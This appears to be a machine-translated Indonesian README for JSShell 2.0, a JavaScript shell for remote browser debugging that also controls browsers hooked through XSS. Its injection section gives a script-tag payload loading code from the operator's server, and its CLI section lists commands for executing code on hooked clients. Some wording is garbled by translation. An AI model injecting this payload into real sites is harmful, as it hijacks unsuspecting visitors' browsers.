JSShell

Jsshell 2.0

Shell JavaScript berbasis web multi-pengguna interaktif. Awalnya dibuat untuk men -debug browser esoteris jarak jauh selama percobaan dan penelitian. Alat ini dapat dengan mudah dilampirkan ke payload XSS (Cross Site Scripting) untuk mencapai eksekusi kode jarak jauh browser (mirip dengan kerangka kerja daging sapi).

Versi 2.0 dibuat sepenuhnya dari awal, memperkenalkan fitur baru yang menarik, stabilitas, dan pemeliharaan.

Versi: 2.0

Pengarang

Daniel Abeles.

Video Shell

Fitur

• Dukungan multi klien
• Dukungan Objek Dom Siklik
• Skrip pra penerbangan
• Antrian Perintah & Konteks
• Dapat diperpanjang dengan plugin
• Suntikan melalui tag <script>
• Membuang output perintah untuk mengajukan
• Pagination Shell
• Dukungan https!

Instalasi & Pengaturan

File konfigurasi

Di direktori resources , perbarui file config.json dengan konfigurasi yang Anda inginkan:

• Host Database - Jika berjalan dengan metode penyebaran docker , pilih host database sebagai db (yang merupakan nama host internal).
• Kembalikan URL - URL yang akan diikuti oleh permintaan. File shell.js melakukan beberapa panggilan AJAX untuk mendaftar dan polling untuk perintah baru. Biasanya itu akan menjadi http[s]://{YOUR_SERVER_IP}:{PORT} .
• Script startup - skrip yang berjalan secara otomatis ketika klien jsshell CLI dikeluarkan.
• Domain - Jika Anda ingin menghasilkan sertifikat TLS, ini adalah nama domain yang akan digunakan server.
• Dimungkinkan juga untuk menunjuk pada basis data jarak jauh jika diinginkan.

Mari Enkripsi

Sekarang JSShell mendukung TLS, yang berarti Anda sekarang dapat menghasilkan sertifikat TLS dan memberinya makan ke server web. Server web akan menyimpulkan nama domain dari file config.json . Untuk membuat sertifikat, gunakan skrip create_cert.py di folder scripts :

$ cd scripts
$ python create_cert.py --domain < YOUR_DOMAIN > --email < YOUR_EMAIL > 

Bidang email adalah opsional.

Harap dicatat bahwa server web harus turun agar skrip berfungsi dengan baik. Pada titik ini, kami telah berhasil menghasilkan sertifikat kami! Satu -satunya modifikasi yang perlu kita lakukan adalah:

• Dalam file config.json , ubah skema bidang URL menjadi https .
• Dalam file docker-compose.yml Ubah port yang terbuka dari wadah web ke 443 .

Buruh pelabuhan

Versi baru ini mendukung menginstal dan menjalankan JSShell melalui docker dan docker-compose . Sekarang, untuk menginstal dan menjalankan seluruh kerangka kerja jsshell, cukup jalankan:

$ ./scripts/start_docker_shell.sh

Ini akan:

• Mulailah dan buat database di latar belakang
• Mulai server API Web yang menangani koneksi yang masuk di latar belakang
• Menelurkan contoh baru dari wadah antarmuka baris perintah JSShell

Biasa

Jika Anda masih ingin menggunakan metode fashion lama untuk menginstal, cukup pastikan Anda memiliki database MongoDB yang berjalan dan berjalan, dan perbarui file config.json yang berada di direktori resources .

Saya sarankan menggunakan lingkungan virtual dengan pyenv :

$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv

Atau menggunakan virtualenv :

$ virtualenv -p python3.6 venv
$ source venv/bin/activate

Kemudian, pasang persyaratan:

$ pip install -r requirements.txt

Berlari

Jika Anda menggunakan metode docker , tidak perlu menjalankan prosedur berikut.

Server web

Kalau tidak, begitu kami memiliki pengaturan database, kami perlu memulai server API web. Untuk dilakukan, jalankan:

$ python manage.py web

Ini akan membuat dan menjalankan server web yang mendengarkan koneksi yang masuk dan melayani kode JSShell kami.

Kerang

Sekarang untuk memulai jsshell cli, jalankan skrip yang sama tetapi sekarang dengan bendera shell :

$ python manage.py shell

Penggunaan

Setelah mengatur dan menjalankan komponen yang diperlukan, masukkan perintah help untuk melihat perintah yang tersedia:

     ╦╔═╗┌─┐┬ ┬┌─┐┬  ┬  
     ║╚═╗└─┐├─┤├┤ │  │  
    ╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0     
        by @Daniel_Abeles
    
>> help

Documented commands (type help <topic>):

General Commands
--------------------------------------------------------------------------------
edit                Edit a file in a text editor
help                List available commands or provide detailed help for a specific command
history             View, run, edit, save, or clear previously entered commands
ipy                 Enter an interactive IPython shell
py                  Invoke Python command or shell
quit                Exit this application

Shell Based Operations
--------------------------------------------------------------------------------
back                Un-select the current selected client
clients             List and control the clients that have registered to our system
commands            Show the executed commands on the selected client
dump                Dumps a command to the disk
execute             Execute commands on the selected client
select              Select a client as the current client

>> 

Mengalir

Jsshell mendukung 2 metode operasi:

1. Shell suntik (mirip dengan kerangka daging sapi)
2. Hosted Shell (untuk debugging)

Shell suntik

Mirip dengan kerangka kerja kontrol XSS lainnya (seperti daging sapi), JSShell mampu mengelola eksploitasi XSS yang sukses. Dalam contoh, jika Anda dapat menyuntikkan tag script , menyuntikkan sumber daya berikut ke muatan Anda, dan klien baru akan muncul di konsol Anda:

<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>

Shell yang di -host

Jika Anda ingin men -debug browser eksotis dan esoterik, Anda dapat dengan mudah menavigasi ke http[s]://{YOUR_SERVER_IP}:{PORT}/ dan klien baru akan muncul ke klien jsshell CLI Anda. Sekarang dapat debuggable melalui konsol JSShell kami.

Kredit

Canop untuk json.prune

Gunakan dengan tanggung jawab dan risiko Anda sendiri.